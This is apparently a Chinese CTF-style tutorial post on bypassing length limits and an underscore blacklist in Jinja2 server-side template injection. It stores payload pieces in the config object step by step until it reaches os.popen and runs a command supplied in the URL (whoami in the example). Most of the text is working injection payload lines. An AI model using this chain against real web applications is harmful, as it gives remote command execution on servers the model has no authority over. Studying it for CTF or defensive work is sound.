长度限制是非常恶心的,有时候就是没办法,绕过还好说,长度给你限制死是真的难受
这里用的原理是
将 Payload 保存在 config 全局对象中
原理
d = {'a': 1, 'b': 2, 'c': 3}
d.update(d=4)
print(d)
-------------------------------
于是这里可以做个测试
{% set x=config.update(s='string') %}
然后访问{{config}}查看是否有相关内容
那么就可以使用以下操作
#将 lipsum 全局函数更新保存到 config 中
{%set x=config.update(l=lipsum)%}
#接下来将 __globals__ 属性保存到 config 中,这里先保存字符串:
{%set x=config.update(g=request.args.a)%}&a=__globals__
#需要注意代码中过滤了下划线 _ ,这里使用 request 全局对象绕过;request 中保存的是客户端请求信息,这里使用 request.args 来通过 GET 方法传递其他参数,来绕过黑名单过滤。
#构造好了 __globals__ 字符串之后,接下来真正开始获取 lipsum 的 __globals__ 属性并保存到 config 中:
{%set x=config.update(f=config.l|attr(config.g))%}
/*
这里还可以更短
在某些模板引擎中,如果允许直接通过字符串动态引用属性,可以尝试省略 attr:
{{ config.update(f=config.l[config.g]) }}
直接索引([])的支持依赖于模板引擎的实现,某些引擎可能不支持这种方式。
如果 config.g 的值在上一步中已经明确且固定为字符串,可以直接传递字符串值而非动态解析:
{{ config.update(f=config.l.__globals__) }}
短名技巧
{% set g = config.g %}
{{ config.update(f=config.l | attr(g)) }}
*/
#然后就是获取全局空间下的 os 模块:
{%set x=config.update(o=config.f.os)%}
#获取 popen() 函数。
{%set x=config.update(p=config.o.popen)%}
#Payload 的构造就已经完成了,我们成功将完整的 Payload 分段保存在了 config 全局对象中。
{%print(config.p(request.args.c).read())%}&c=whoami
评论0
暂时没有评论